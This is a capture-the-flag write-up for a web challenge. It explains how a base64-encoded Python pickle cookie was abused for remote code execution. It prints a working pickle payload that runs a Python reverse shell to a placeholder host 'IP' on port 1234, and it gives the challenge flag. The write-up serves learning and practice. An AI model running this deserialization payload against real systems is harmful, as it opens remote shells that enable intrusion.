WX01
About The Challenge
Type
Difficulty
Web
eXtreme
Solution
The last web challenge was a bit hard and it mostly depends on enumeration and researching.


From the home page it asking for our name, by entering any name the page will show the message Reload for your greeting...
nothing interesting here.

By looking at the cookies I found that their is cookie stored on the website and presence in the request. The value of the cookie is KGRwMApWbmFtZQpwMQpWdGV0cwpwMgpzLg==
which is base64 encoded and the decoded base64 value is:
(dp0
Vname
p1
Vtets
p2
s.

After researching I found the decoded value is python library called Pickle and it is having remote code execution vulnerability.
After I identifying that the code is vulnerable to RCE I inject a reverse shell into the code using the following command:
cos
system
(S'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
tR.
Then I base64 encode it.

Finally I entered my base64 encoded text into the input then I got the flag.
Flag is: whaTaPiCKle-018817
Last updated
Was this helpful?